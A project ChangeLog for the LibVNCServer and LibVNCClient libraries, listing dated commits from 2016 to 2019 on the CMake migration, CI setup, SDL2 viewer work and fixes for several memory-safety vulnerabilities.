You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

10168 lines
388 KiB

This file contains ambiguous Unicode characters!

This file contains ambiguous Unicode characters that may be confused with others in your current locale. If your use case is intentional and legitimate, you can safely ignore this warning. Use the Escape button to highlight these characters.

2019-01-06 Christian Beier <>
* rfb/rfb.h: Move pipe_notify_client_thread to end of rfbClientRec in order to retain ABI compatibility.
2019-01-06 Christian Beier <>
* libvncserver/main.c: Fix comment style and be a bit more verbose ... explaining cedae6e6f97b14f5df3ea7c5f7efd59f2bc9ad82.
2019-01-06 Christian Beier <>
* : Merge pull request #238 from tetrane/pr-fix-use-after-free Fix use-after-free and concurrent access segmentation fault
2019-01-06 Christian Beier <>
* CMakeLists.txt: CMake: require stdint.h This is used at quite a few places in the code, so make it
2019-01-06 Christian Beier <>
* libvncserver/rfbserver.c: Error out in
rfbProcessFileTransferReadBuffer if length can not be allocated re #273
2019-01-06 Christian Beier <>
* libvncclient/rfbproto.c: LibVNCClient: remove now-useless cast re #273
2019-01-06 Christian Beier <>
* libvncclient/rfbproto.c: LibVNCClient: fail on server-sent desktop
name lengths longer than 1MB re #273
2019-01-05 Christian Beier <>
* .appveyor.yml: AppVeyorCI: update cyrus-sasl URL
2018-12-29 Christian Beier <>
* README: link LiberaPay team account
2018-12-29 Christian Beier <>
* : Merge pull request #267 from veyon/external-lzo Allow to use global LZO library instead of miniLZO
2018-12-29 Christian Beier <>
* libvncclient/rfbproto.c: LibVNCClient: ignore server-sent cut text
longer than 1MB This is in line with how LibVNCServer does it (28afb6c537dc82ba04d5f245b15ca7205c6dbb9c) and fixes part of #273.
2018-12-28 Christian Beier <>
* .appveyor.yml, deps/sasl-fix-snprintf-macro.patch: Revert
"AppVeyorCI: update cyrus-sasl to 2.1.27, remove patch" This reverts commit bcd3eaeb83181ab5491aa6d641e2a7b8d424d88a.
2018-12-28 Christian Beier <>
* .appveyor.yml, deps/sasl-fix-snprintf-macro.patch: AppVeyorCI:
update cyrus-sasl to 2.1.27, remove patch
2018-12-28 Christian Beier <>
* .gitignore: .gitignore: remove autotools and x11vnc leftovers
2018-12-28 Christian Beier <>
* .gitignore: .gitignore: fix for in-tree builds, add 'build' dir re #248
2018-12-28 Christian Beier <>
* .gitignore: Revert "Remove .gitignore obsoleted by CMake" This reverts commit d6c907ffbc36f4ad7663a44538b15e650a6ddf40.
2018-12-06 Quentin BUATHIER <>
* libvncserver/main.c: Check the return code of pipe
2018-11-29 Christian Beier <>
* : Merge pull request #269 from rgacogne/fix-misleading-indentation Fix -Wmisleading-indentation warnings
2018-11-22 Tobias Junghans <>
* .travis.yml, CMakeLists.txt, cmake/Modules/FindLZO.cmake,
libvncclient/rfbproto.c, libvncserver/ultra.c,
rfb/rfbconfig.h.cmakein: Allow to use global LZO library instead of
miniLZO The complete LZO library nowadays is installed on many systems so we
can optionally make use of it and omit internal miniLZO
2018-11-19 Christian Beier <>
* : Merge pull request #259 from veyon/cursor-shift LibVNCClient: fix integer shifts for cursor colors
2018-11-07 Tobias Junghans <>
* libvncserver/tight.c, libvncserver/zlib.c: LibVNCServer: properly
use thread-local storage The TLS macro never has been defined due to the missing
LIBVNCSERVER_HAVE_TLS macro. This revises the macro logic to also
cover Win32 builds with MSVC.
2018-11-18 Christian Beier <>
* : Merge pull request #263 from veyon/custom-auth-handlers LibVNCClient: add support for custom auth handlers
2018-11-11 Christian Beier <>
* libvncserver/cargs.c: Add SSL options to rfbUsage output
2018-11-10 Christian Beier <>
* libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c:
tightvnc-filetransfer: do not close stuff from within a thread ... as this crashes badly and the client is closed by the main
thread machinery afterwards. re #242
2018-11-09 Christian Beier <>
* README, README: rename to We had the original name lingering on for the Autotools packaging
process, but that is gone since.
2018-11-07 Christian Beier <>
* : Merge pull request #261 from veyon/misc-fixes Misc fixes
2018-11-07 Tobias Junghans <>
* common/d3des.c: common: d3des: use per-thread key register When encrypting/decrypting from different threads this can race due
to the global key register.
2018-11-07 Tobias Junghans <>
* common/d3des.c, common/d3des.h, libvncclient/rfbproto.c: common:
d3des: drop unused rfbCPKey()
2018-11-07 Tobias Junghans <>
* common/d3des.c: common: d3des: make static arrays const
2018-11-06 Tobias Junghans <>
* libvncclient/tls.h, libvncclient/tls_gnutls.c,
libvncclient/tls_none.c, libvncclient/tls_openssl.c: LibVNCClient:
pass buffer as const to WriteToTLS()
2018-11-06 Tobias Junghans <>
* rfb/default8x16.h: rfb: add header guard for default8x16
2018-11-06 Tobias Junghans <>
* libvncclient/sasl.c, libvncclient/sockets.c,
libvncserver/sockets.c: Undef error codes before redefining them for
WSA Fixes compiler warnings about redefined macros from errno.h.
2018-11-06 Tobias Junghans <>
* libvncclient/rfbproto.c: LibVNCClient: init pad field for set
encodings msg
2018-11-06 Tobias Junghans <>
* README: README: add Veyon to projects using libvncserver
2018-11-05 Christian Beier <>
* README: README. add a reference to client examples Closes #224
2018-11-05 Christian Beier <>
* README: README: add VirtualBox to projects using us
2018-11-05 Christian Beier <>
* README: README: fix header structure, add some markups for
2018-11-05 Christian Beier <>
* : Merge pull request #260 from veyon/free-client-buffers LibVNCClient: free buffers in rfbClientCleanup()
2018-11-05 Tobias Junghans <>
* libvncserver/cursor.c: LibVNCClient: fix integer shifts for cursor
colors Shifting values > 32768 by 16 places can cause undefined results for
signed integers. Therefore cast color components to unsigned integer
before shifting.
2018-10-22 Christian Beier <>
* libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c:
tightvnc-filetransfer: when creating a new download thread, make
sure the previous one ends re #242
2018-10-21 Christian Beier <>
* libvncserver/tightvnc-filetransfer/filetransfermsg.c,
tightvnc-filetransfer: wait for download thread end in
CloseUndoneFileDownload() ...and use it when deregistering the file transfer extension. Closes #242
2018-10-21 Christian Beier <>
* libvncserver/tightvnc-filetransfer/filetransfermsg.c,
tightvnc-filetransfer: refactor CloseUndoneFileTransfer() into two
functions ...for closing upload and download separately. re #242
2018-10-21 Christian Beier <>
* libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c,
tightvnc-filetransfer: tie the download thread to the control
structure re #242
2018-10-21 Christian Beier <>
* libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c:
tightvnc-filetransfer: fix heap use-after-free One can only guess what the intended semantics were here, but as
every other rfbCloseClient() call in this file is followed by an
immediate return, let's assume this was forgotton in this case. Anyway, don't forget to clean up to not leak memory. Closes #241
2018-10-21 Christian Beier <>
* libvncserver/rfbserver.c: LibVNCServer: fix heap out-of-bound
write access Closes #243
2018-10-04 Christian Beier <>
* libvncclient/corre.c: LibVNCClient: really fix #250
2018-10-01 Christian Beier <>
* libvncserver/rfbserver.c, libvncserver/websockets.c: websockets:
remove Flash fallback Closes #162
2018-10-01 Christian Beier <>
* webclients/index.vnc, webclients/novnc/LICENSE.txt,
webclients/novnc/, webclients/novnc/app/error-handler.js,
webclients/novnc/app/styles/lite.css, webclients/novnc/app/ui.js,
webclients/novnc/app/webutil.js, webclients/novnc/{include =>
core}/base64.js, webclients/novnc/{include => core}/des.js,
webclients/novnc/core/websock.js, webclients/novnc/favicon.ico,
webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js,
ule-loader.js, webclients/novnc/vendor/pako/LICENSE,
webclients/novnc/vendor/sinon.js, webclients/novnc/vnc.html,
webclients/novnc/vnc_auto.html: Update bundled noVNC to latest
release 1.0.0 Closes #148
2018-10-01 Christian Beier <>
* libvncserver/httpd.c: httpd: send proper MIME type for Javascript
files re #148
2018-10-01 Christian Beier <>
* libvncclient/ultra.c: LibVNCClient: make sure Ultra decoding
cannot dereference a null pointer Closes #254
2018-09-30 Christian Beier <>
* CMakeLists.txt: CMake: require some form of hton64() for
websockets Closes #127
2018-09-30 DRC <>
* libvncserver/ws_decode.h: Fix compilaton with gcc 4.4.x Closes #204 Signed-off-by: Christian Beier <>
2018-09-29 Christian Beier <>
* libvncclient/rfbproto.c: LibVNCClient: fix three possible heap
buffer overflows An attacker could feed `0xffffffff`, causing a `malloc(0)` for the
buffers which are subsequently written to. Closes #247
2018-09-29 Christian Beier <>
* libvncclient/corre.c: LibVNCClient: make sure ReadFromRFBServer()
does not write after buffer end in CoRRE decoding Closes #250
2018-09-29 Christian Beier <>
* libvncclient/rfbproto.c: LibVNCClient: fix possible infinite loop Closes #251
2018-09-29 Christian Beier <>
* libvncclient/rfbproto.c: LibVNCClient: don't leak uninitialised
memory to remote The pad fields of the rfbClientCutTextMsg and rfbKeyEventMsg could
contain arbitray memory belonging to the process, don't leak this to
the remote. Closes #252
2018-09-29 Christian Beier <>
* examples/repeater.c, libvncclient/rfbproto.c: When connecting to a
repeater, only send initialised string Closes #253
2018-09-29 Christian Beier <>
* CMakeLists.txt: CMake: build the repeater example as well
2018-09-27 Christian Beier <>
* libvncclient/tight.c, rfb/rfbclient.h: Remove the turbojpeg.h
dependency from public headers Closes #230
2018-09-27 Christian Beier <>
* CMakeLists.txt: CMake: fix build error that occured on Windows
with CMake 3.12
2018-09-27 Christian Beier <>
* .appveyor.yml: AppVeyorCI: print CMake version
2018-09-26 Christian Beier <>
* CMakeLists.txt: CMake: only do jpeg-turbo tests if a libjpeg was
2018-09-26 Christian Beier <>
* .gitignore: Remove .gitignore obsoleted by CMake re #248
2018-08-10 Christian Beier <>
* CMakeLists.txt: CMake: make get_link_libraries() not crash when
there are no linked libraries at all
2018-08-09 Quentin BUATHIER <>
* libvncserver/main.c, libvncserver/rfbserver.c, rfb/rfb.h: Fix the
concurrent issue hapenning between the freeing of the client and the
clientOutput thread
2018-08-08 Quentin BUATHIER <>
* libvncserver/main.c: Fix use-after-free
2018-07-30 Christian Beier <>
* client_examples/SDLvncviewer.c: SDLvncviewer: work around
SDL_TEXTINPUT not generating chars with CTRL down
2018-07-30 Christian Beier <>
* client_examples/SDLvncviewer.c: SDLvncviewer: handle mouse wheel
2018-07-28 Christian Beier <>
* client_examples/SDLvncviewer.c: SDLvncviewer: adhere to C89
2018-07-28 Christian Beier <>
* client_examples/SDLvncviewer.c: SDLvncviewer: implement Unicode
input handling
2018-07-26 Christian Beier <>
* .travis.yml: TravisCI: install SDL2 dev packages for OSX as well
2018-07-26 Christian Beier <>
* .travis.yml: TravisCI: install SDL2 dev packages
2018-07-26 Christian Beier <>
* client_examples/SDLvncviewer.c: SDLvncviewer: remove obsolete
video scaling code
2018-07-26 Christian Beier <>
* CMakeLists.txt, client_examples/SDLvncviewer.c,
client_examples/scrap.c, client_examples/scrap.h: SDLvncviewer: use
SDL2 for clipboard handling By using this, we can get rid of our own homebrewn solution
scrap.[c|h] and drop X11 from the build system.
2018-07-25 Christian Beier <>
* client_examples/SDLvncviewer.c: SDLvncviewer: make input work with
SDL2 ... at least somewhat. This is far from perfect but no regression
compared to SDL1.2 functionality.
2018-05-16 Christian Beier <>
* client_examples/SDLvncviewer.c, client_examples/scrap.c:
SDLvncviewer: make display work with SDL2
2018-05-12 Christian Beier <>
* CMakeLists.txt, cmake/Modules/FindSDL2.cmake: CMake: look for SDL2
instead of SDL FindSDL2.cmake was downloaded from
2018-07-25 Christian Beier <>
* client_examples/SDLvncviewer.c: SDLvncviewer: add a very simple
GetCredentials callback
2018-07-08 Christian Beier <>
* CMakeLists.txt, rfb/rfbconfig.h.cmakein: CMake: add a
2018-07-08 Christian Beier <>
* CMakeLists.txt, rfb/rfb.h: build: decouple GnuTLS|OpenSSL
detection from WebSockets support
2018-06-29 Christian Beier <>
* common/rfbcrypto_polarssl.c: crypto: remove polarssl wrapper This is not even in the build system anymore.
2018-06-29 Christian Beier <>
* CMakeLists.txt: CMake: declare that websockets depend on crypto
2018-06-29 Christian Beier <>
* rfb/rfbconfig.h.cmakein: build: remove
LIBVNCSERVER_WITH_CLIENT_TLS #define It is not used anywhere anymore.
2018-06-29 Christian Beier <>
* CMakeLists.txt, {libvncserver => common}/rfbcrypto.h,
{libvncserver => common}/rfbcrypto_gnutls.c, {libvncserver =>
common}/rfbcrypto_included.c, {libvncserver =>
common}/rfbcrypto_openssl.c, {libvncserver =>
common}/rfbcrypto_polarssl.c: crypto: move to common As of now, only LibVNCServer makes uses of these digest functions
_and_ they depend on sys/uio.h, but in the future LibVNCClient will
need those as well.
2018-06-26 Christian Beier <>
* : Merge pull request #235 from eddiejames/master Tight: export SendCompressedData and SendTightHeader functions
2018-06-16 Christian Beier <>
* .appveyor.yml: AppVeyorCI: remove unused statements
2018-06-16 Christian Beier <>
* .appveyor.yml: AppVeyorCI: remove Visual Studio 2013 as it somehow
got broken at AppVeyor's side
2018-06-16 Christian Beier <>
* README: README: remove reference to functions not existing anymore Closes #202.
2018-05-14 Christian Beier <>
* : Merge pull request #215 from
BastiaanOlij/fix_nozlib_compile_error libvncclient: zrle.c: Move undef of REALBPP down rfbproto.c which includes this file expects an undefined REALBPP
after the inclusion. Do this whether or not there is zlib available.
2018-03-24 Christian Beier <>
* .appveyor.yml, deps/sasl-fix-snprintf-macro.patch: AppVeyorCI:
build with Visual Studio 2017 as well
2018-03-24 Christian Beier <>
* libvncserver/rfbserver.c: rfbserver: fix a typo
2018-03-24 Christian Beier <>
* libvncserver/rfbserver.c: rfbserver: get rid of inttypes.h again
2018-03-24 Christian Beier <>
* libvncclient/sasl.h: libvncclient/sasl: prefix the header guard
(again) to fix a warning
2018-03-24 Christian Beier <>
* CMakeLists.txt, client_examples/scrap.c: SDLvncviewer: enable the
X11 clipboard if X11 was found
2018-03-13 Christian Beier <>
* examples/androidvncserver.c: androidvncserver: fix print_usage and
a compiler warning
2018-03-13 Christian Beier <>
* examples/androidvncserver.c: androidvncserver: add some
boilerplate comment that should have been in the 1st code drop
2018-03-13 Christian Beier <>
* examples/androidvncserver.c: androidvncserver: fix a quite serious
typo Closes #225.
2018-02-26 Petr Písař <>
* libvncserver/rfbserver.c: Limit client cut text length to 1 MB This patch constrains a client cut text length to 1 MB. Otherwise a
client could make server allocate 2 GB of memory and that seems to
be to much to classify it as a denial of service. The limit also prevents from an integer overflow followed by copying
an uninitilized memory when processing msg.cct.length value larger
than SIZE_MAX or INT_MAX - sz_rfbClientCutTextMsg. This patch also corrects accepting length value of zero (malloc(0)
is interpreted on differnet systems differently). CVE-2018-7225 <>
2018-02-27 Christian Beier <>
* .appveyor.yml: AppVeyorCI: set path to devenv tool based on
2018-02-26 Christian Beier <>
* examples/androidvncserver.c: androidvncserver: remove keycodes not
in NDK anymore This makes the android VNC server example build again.
2018-01-27 Bastiaan Olij <>
* libvncclient/zrle.c: Moved undef of REALBPP down
2018-01-23 Christian Beier <>
* : Merge pull request #203 from dcommander/turbovnc-client Include Tight decoding optimizations from TurboVNC
2018-01-22 Christian Beier <>
* : Merge pull request #197 from wwqwwqwd/master Add trle decoder
2017-09-02 Christian Beier <>
* CMakeLists.txt, libvncclient/rfbproto.c, libvncclient/{rfbsasl.c
=> sasl.c}, libvncclient/{rfbsasl.h => sasl.h},
libvncclient/sockets.c: libvncclient: rename rfbsasl.[c|h] to
sasl.[c|h] to be in line with naming of other files
2017-09-02 Christian Beier <>
* libvncclient/rfbproto.c, libvncclient/rfbsasl.h,
libvncclient/sockets.c, rfb/rfbproto.h: Move HAVE_SASL #ifdefs into
header file to have less LOC
2017-09-02 Christian Beier <>
* client_examples/ppmtest.c: Fix building whithout SASL
2017-07-07 Christian Beier <>
* : Merge pull request #188 from Cordius/master fix: the function should not return a value
2017-04-21 simon <root@simon.home>
* .appveyor.yml, CMakeLists.txt, client_examples/ppmtest.c,
libvncclient/rfbproto.c, libvncclient/rfbsasl.c,
libvncclient/rfbsasl.h, libvncclient/sockets.c, libvncclient/tls.h,
libvncclient/tls_gnutls.c, libvncclient/tls_none.c,
libvncclient/tls_openssl.c, libvncclient/vncviewer.c,
rfb/rfbclient.h, rfb/rfbconfig.h.cmakein, rfb/rfbproto.h: Added SASL
authentication support Added SASL support to OpenSSL
2017-06-20 Christian Beier <>
* : Merge pull request #161 from jlesage/master-base64-compat websockets: Fixed compilation of websockets on systems where there
is no implementation of base64 functions.
2017-05-15 Christian Beier <>
* : Merge pull request #158 from kempniu/gtk-vnc-0.7.0-compat websockets: Ensure compatibility with gtk-vnc 0.7.0+
2017-05-14 Christian Beier <>
* CMakeLists.txt: websockets: only build tests for a
websockets-enabled build
2017-05-14 Christian Beier <>
* libvncserver/websockets.c, rfb/rfb.h: websockets: restore
webSocketCheckDisconnect() to keep API compatibility
2017-02-27 Andreas Weigel <>
* libvncserver/ws_decode.c, libvncserver/ws_decode.h: remove
potential 64 bit len overflow calculation
2017-02-27 Andreas Weigel <>
* libvncserver/websockets.c, libvncserver/ws_decode.c,
libvncserver/ws_decode.h, test/, test/wstest.c,
test/ add decode support for continuation frames use FIN bit and implement opcode 0x00 make consistent use of uint64_t for big frame sizes
2017-02-23 Andreas Weigel <>
* CMakeLists.txt, test/, test/wstest.c,
test/{wstestdata.c =>}: fix problems in test and
requests for cmake build add missing stdarg header fix hardcoded errno integer values in tests add dependency to wstestdata and rename to prevent building it as c
2017-02-23 Andreas Weigel <>
* libvncserver/rfbserver.c, libvncserver/websockets.c, rfb/rfb.h:
remove Hixie-specific MD5 and check functions
2017-02-20 Andreas Weigel <>
* .gitignore, CMakeLists.txt, libvncserver/ws_decode.c,
libvncserver/ws_decode.h, test/, test/wstest.c,
test/wstestdata.c: add generation wstest to cmake add wstestdata.c, because the python data generation script has too
many dependencies remove some redundance from jpeg test creation add support for decoding close messages
2017-02-20 Andreas Weigel <>
* .gitignore, libvncserver/websockets.c, libvncserver/ws_decode.c,
libvncserver/ws_decode.h, test/, test/wstest.c:
add ws_decode tests modify automake to include ws_decode test add python frame generator for decode tests modify configure to only include ws_decode test if preconditions are
2017-02-16 Andreas Weigel <>
* libvncserver/websockets.c: remove obsolete hixie protocol support
2017-02-16 Andreas Weigel <>
* libvncserver/websockets.c, libvncserver/ws_decode.c,
libvncserver/ws_decode.h: factor out hybi decode part to make it
testable remove direct dependency on rfbClientPtr structure in hybi decode
2017-02-15 Andreas Weigel <>
* libvncserver/websockets.c: fix overflow and refactor websockets
decode (Hybi) fix critical heap-based buffer overflow which allowed easy
modification of a return address via an overwritten function pointer fix bug causing connections to fail due a "one websocket frame = one
ws_read" assumption, which failed with LibVNCServer-0.9.11 refactor websocket Hybi decode to use a simple state machine for
decoding of websocket frames
2017-05-14 Christian Beier <>
* : Merge pull request #175 from simonwaterman/x509verify Added support for X509 server certificate verification
2017-05-12 Christian Beier <>
* : Merge pull request #178 from lioncash/leak font: Fix a small resource leak in a failure case in
2017-05-05 simon <root@simon.home>
* libvncclient/tls_openssl.c, rfb/rfbclient.h: X509 certificate
verification for OpenSSL
2017-04-25 simon <root@simon.home>
* libvncclient/tls_gnutls.c: Removed comment left over from
2017-04-25 simon <root@simon.home>
* libvncclient/tls_gnutls.c: Modified certificate verification for
compatibility with GnuTLS 2.12.23
2017-04-21 Christian Beier <>
* CMakeLists.txt, rfb/rfbconfig.h.cmakein: CMake: add all function
checks that used to be in Fixes #174
2017-04-21 Christian Beier <>
* CMakeLists.txt, rfb/{rfbconfig.h.cmake => rfbconfig.h.cmakein}:
CMake: properly name rfbconfig.h cmake template
2017-04-21 Christian Beier <>
* .travis.yml: TravisCI: point OSX CMake to OpenSSL root dir
2017-04-21 Christian Beier <>
* CMakeLists.txt, cmake/Modules/FindFFMPEG.cmake: CMake: include a
FindFFMPEG module and use it Thankfully taken from
2017-04-20 tmcqueen-materials <>
* client_examples/vnc2mpg.c: Update vnc2mpg.c correct mistaken references to update_time...
2017-04-20 simon <root@simon.home>
* libvncclient/tls_gnutls.c: Added support for X509 server
certificate verification as part of the handshake process.
2017-04-18 Christian Beier <>
* CMakeLists.txt, rfb/rfbconfig.h.cmake: CMake: set
LIBVNCSERVER_HAVE_FORK in rfbconfig.h if fork() found
2017-04-18 Christian Beier <>
* CMakeLists.txt, rfb/rfbconfig.h.cmake: CMake: set
LIBVNCSERVER_HAVE_LIBSSL in rfbconfig.h if OpenSSL found
2017-04-18 Christian Beier <>
* CMakeLists.txt, rfb/rfbconfig.h.cmake: CMake: detect mmap() and
write result to rfbconfig.h
2017-04-13 tmcqueen-materials <>
* client_examples/vnc2mpg.c: Update vnc2mpg.c This update makes the example work on versions of ffmpeg newer than
"ancient," fixes a bunch of bugs in the process, and with better
documentation of the pitfalls.
2017-04-03 dborth <>
* libvncclient/vncviewer.c: Set trueColour flag to 1 instead of 255 It turns out some server implementations (namely VMware ESXi 6.5)
expect 1 as the only non-zero value for the SetPixelFormat message
whereas the protocol states every non-zero value is valid
(, setting this to 1 shouldn't hurt. Fixes #141
2017-03-26 Christian Beier <>
* CMakeLists.txt, examples/android/README,
examples/{android/jni/fbvncserver.c => androidvncserver.c}: CMake:
automatically build androidvncserver when crosscompiling for Android
2017-03-26 Christian Beier <>
* README, libvncclient/listen.c, rfb/rfbclient.h: Fix building for
Android and add build instructions to README
2017-03-26 Christian Beier <>
* CMakeLists.txt: CMake: when crosscompiling for Android, don't look
for systemd
2017-03-26 Christian Beier <>
* libvncclient/vncviewer.c: Fix a compiler warning
2017-03-26 Christian Beier <>
* CMakeLists.txt: CMake: only build TurboJPEG unit tests if lib has
jpeg support
2017-03-26 Christian Beier <>
* .appveyor.yml: AppVeyorCI: change libpng download link to sth that
2017-02-22 Christian Beier <>
* TODO: Update TODO, at least a bit
2017-02-21 Christian Beier <>
* .appveyor.yml: AppVeyorCI: use static zlib and libpng
2017-02-21 Christian Beier <>
* CMakeLists.txt: CMake: remove check for C++ compiler We don't have any C++ sources.
2017-02-21 Christian Beier <>
* .appveyor.yml, .travis.yml: CI: let tests output to console on
2017-02-21 Christian Beier <>
* rfb/rfbproto.h: rfbproto: re-add erroneously removed SOCKET
2017-02-21 Christian Beier <>
* .appveyor.yml: AppVeyorCI: make ctest more verbose
2017-02-21 Christian Beier <>
* libvncserver/main.c: rfbInitServer: only init Winsock once
2017-02-21 Christian Beier <>
* rfb/rfbproto.h: rfbproto: remove SOCKET redefinitions
2017-02-21 Christian Beier <>
* libvncserver/main.c: Add an rfbLogPError that shows something on
2017-02-21 Christian Beier <>
* rfb/rfbproto.h: Fix "rfbBool's size is not 1" runtime error with
2017-02-21 Christian Beier <>
* CMakeLists.txt: CMake: only add tjunittest if turbojpeg found
2017-02-21 Christian Beier <>
* .appveyor.yml: AppVeyorCI: really add the test config to AppVeyor
2017-02-21 Christian Beier <>
* .travis.yml: Revert "AppVeyorCI: supply a test config aka build
type" This reverts commit e18ec43c2df1a91911f8fd98bff52a232b6f757c.
2017-02-21 Christian Beier <>
* .travis.yml: AppVeyorCI: supply a test config aka build type
2017-02-21 Christian Beier <>
* README: README: add build instructions
2017-02-21 Christian Beier <>
* .appveyor.yml: AppVeyorCI: run them tests
2017-02-21 Christian Beier <>
* test/copyrecttest.c: test: tell MSVC to use math defines
2017-02-21 Christian Beier <>
* : Merge pull request #156 from The-42/drop-autotools drop autotools
2017-02-21 Christian Beier <>
* CMakeLists.txt: CMake: enable the tests that succeed
2017-02-21 Christian Beier <>
* CMakeLists.txt: CMake: add libm to tests only on Unix
2017-02-21 Christian Beier <>
* CMakeLists.txt: CMake: build the tests
2017-02-21 Christian Beier <>
* CMakeLists.txt: CMake: properly name examples as examples, not
2017-02-20 Christian Beier <>
* libvncserver/scale.c: Fix building in C89 mode FIXME: this should probably be refactored into a common header.
2017-02-20 Christian Beier <>
* CMakeLists.txt: CMake: make shared-lib build configurable and
choose sensible platform defaults
2017-02-20 Christian Beier <>
* CMakeLists.txt: CMake: set examples's output dirs in a
cross-platform way
2017-02-14 Michał Kępień <>
* libvncserver/websockets.c: Ensure compatibility with gtk-vnc
2017-02-08 Bert van Hall <>
client_examples/,, examples/,
libvncclient/,,, libvncserver/, m4/.gitignore,
m4/ax_prefix_config_h.m4, m4/ax_type_socklen_t.m4, m4/libgcrypt.m4,
test/, webclients/,
webclients/java-applet/ssl/ drop autotools Since autotools officially is no longer supported (see various
github issues), drop the related infrastructure to stop tempting
people to use it for building. Signed-off-by: Bert van Hall <>
2017-01-31 Christian Beier <>
* : Merge pull request #153 from The-42/openssl-1.1.x-support Openssl 1.1.x support
2017-01-31 Christian Beier <>
* CMakeLists.txt: CMake: set OpenSSL include dir regardless of
websockets being enabled or not
2017-01-31 Christian Beier <>
* rfb/rfbint.h.cmake: CMake: that file ain't used no more
2017-01-29 Christian Beier <>
* examples/vncev.c: Fix vncev example compilation on Windows
2017-01-29 Christian Beier <>
* CMakeLists.txt: CMake: the blooptest example needs pthreads
2017-01-29 Christian Beier <>
* .travis.yml: TravisCI: install a newer CMake on Linux
2017-01-29 Christian Beier <>
* CMakeLists.txt: CMake: fix examples linking when building with
2017-01-29 Christian Beier <>
* CMakeLists.txt: CMake: as of now, the tight sources need libjpeg,
libpng alone is not enough
2017-01-29 Christian Beier <>
* .appveyor.yml: AppVeyor: detect libpng for main build
2017-01-29 Christian Beier <>
* .appveyor.yml: AppVeyor: more libpng build tuning
2016-11-18 Christian Beier <>
* README: AppveyorCI: add badge.
2017-01-29 Christian Beier <>
* .appveyor.yml: AppVeyor: fix libpng download cmd
2017-01-28 Christian Beier <>
* .appveyor.yml: AppVeyor: add appveyor.yml from ci branch.
2017-01-28 Christian Beier <>
* libvncserver/rfbcrypto.h: Fix building websockets with GnuTLS.
2017-01-28 Christian Beier <>
* libvncserver/rfbcrypto.h: Fix typo
2017-01-28 Christian Beier <>
* libvncserver/rfbcrypto.h: Fix websockets building
2017-01-28 Christian Beier <>
* common/md5.h, libvncserver/httpd.c, libvncserver/rfbcrypto.h,
libvncserver/websockets.c, rfb/rfb.h: Various #ifdef fixes to allow
building with MSVC2014
2017-01-28 Christian Beier <>
* CMakeLists.txt: CMake: as of now, websockets support requires
2017-01-28 Christian Beier <>
* rfb/rfbconfig.h.cmake: CMake: add a HAVE_SYS_UIO_H flag to
2017-01-28 Christian Beier <>
* CMakeLists.txt: CMake: TightVNC-filetransfer requires pthreads as
of now
2017-01-28 Christian Beier <>
* common/vncauth.c, libvncclient/listen.c, libvncclient/sockets.c,
rfb/rfbclient.h: Fix LibVNCClient compilation with MSVC 2014
2017-01-28 CHris B <>
* CMakeLists.txt: CMake: fix build system generation when zlib or
OpenSSL not found
2017-01-28 CHris B <>
* CMakeLists.txt: CMake: do not include NOTFOUND libs in pkg-config
2017-01-22 Christian Beier <>
* CMakeLists.txt: CMake: make the build configurable.
2016-11-18 Christian Beier <>
* CMakeLists.txt: CMake: remove platform-specific flags.
2017-01-02 Christian Beier <>
* CMakeLists.txt: CMake: bump version.
2017-01-02 Christian Beier <>
* CMakeLists.txt, libvncclient.pc.cmakein: CMake: generate and
install pkgconfig files.
2017-01-02 Christian Beier <>
* CMakeLists.txt, libvncclient.pc.cmakein, libvncserver.pc.cmakein:
CMake: bump SOVERSION to 1. Fixes
2017-01-02 Christian Beier <>
* CMakeLists.txt: CMake: update bugreport path
2016-12-30 Christian Beier <>
* libvncserver/websockets.c: Make websockets code build on OSX
without SSL.
2016-12-30 Christian Beier <>
* CMakeLists.txt: Fix some OSX linker problems.
2016-12-30 Christian Beier <>
* libvncserver/websockets.c: Use unprefixed b64_* functions in
websockets code.
2016-12-30 Christian Beier <>
* common/md5.c, common/md5.h: Fix building on OSX without SSL.
2016-12-30 Christian Beier <>
* .travis.yml: TravisCI: use newer dist.
2016-12-30 Christian Beier <>
* CMakeLists.txt: CMake: CMP0037 requires CMake 3.0.
2016-12-30 Christian Beier <>
* CMakeLists.txt: CMake: output examples to respective directories.
2016-11-18 Christian Beier <>
* .travis.yml: TravisCI: switch to CMake. Conflicts: .travis.yml
2016-12-30 Christian Beier <>
* ChangeLog: Update ChangeLog.
2016-12-29 Christian Beier <>
* README: Fix README markdown.
2016-12-28 Christian Beier <>
* CMakeLists.txt: CMake: version up as well.
2016-12-28 Christian Beier <>
* NEWS: Update NEWS.
2016-12-28 Christian Beier <>
* Version up.
2016-12-28 Christian Beier <>
* libvncserver/main.c: LibVNCServer: fix starting of an
onHold-client in threaded mode. Discovered by madscientist159 on 11 Jan 2015: "noted in testing with the threaded server build, whereby if
newClientHook() returned RFB_CLIENT_ON_HOLD there was no way to
release the hold when the server became ready"
2016-12-09 Christian Beier <>
* : Merge pull request #145 from bkylerussell/websockets Sec-WebSocket-Protocol header fix
2016-12-02 Christian Beier <>
* : Merge pull request #142 from samhed/master Write the correct length for end of header
2016-11-29 Christian Beier <>
* : Merge pull request #140 from vapier/master test/Makefile: use check_PROGRAMS
2015-01-10 Timothy Pearson <>
* README: Update README to reflect change from defaultPtrAddEvent to
2016-11-25 Christian Beier <>
* libvncserver/httpd.c: httpd: rework mime type handling to
recognise more types
2016-11-24 Christian Beier <>
* .travis.yml: TravisCI: Another stab at fixing OSX build. See
2016-11-24 Christian Beier <>
* Revert "Hopefully fix building on OSX." This reverts commit 584b23fdbe12edd81119d57ddd378d10e52cc9e1.
2016-11-24 Christian Beier <>
* Hopefully fix building on OSX.
2016-11-24 Christian Beier <>
* .travis.yml: TravisCI: check on OSX as well, test both gcc and
2016-11-24 Christian Beier <>
* libvncclient/rfbproto.c: Fix building on OSX.
2016-11-24 Christian Beier <>
* : Merge pull request #137 from atalax/master Fix two heap buffer overflows
2016-11-18 Christian Beier <>
* : Merge pull request #138 from stweil/master Fix some typos
2016-11-18 Stefan Weil <>
* README, common/zywrletemplate.c, examples/example.c,
examples/zippy.c: Fix some typos (it's / its) Signed-off-by: Stefan Weil <>
2016-11-14 Josef Gajdusek <>
* libvncclient/ultra.c: Fix heap overflow in the ultra.c decoder The Ultra type tile decoder does not use the _safe variant of the
LZO decompress function, which allows a maliciuous server to
overwrite parts of the heap by sending a larger-than-specified LZO
data stream.
2016-11-14 Josef Gajdusek <>
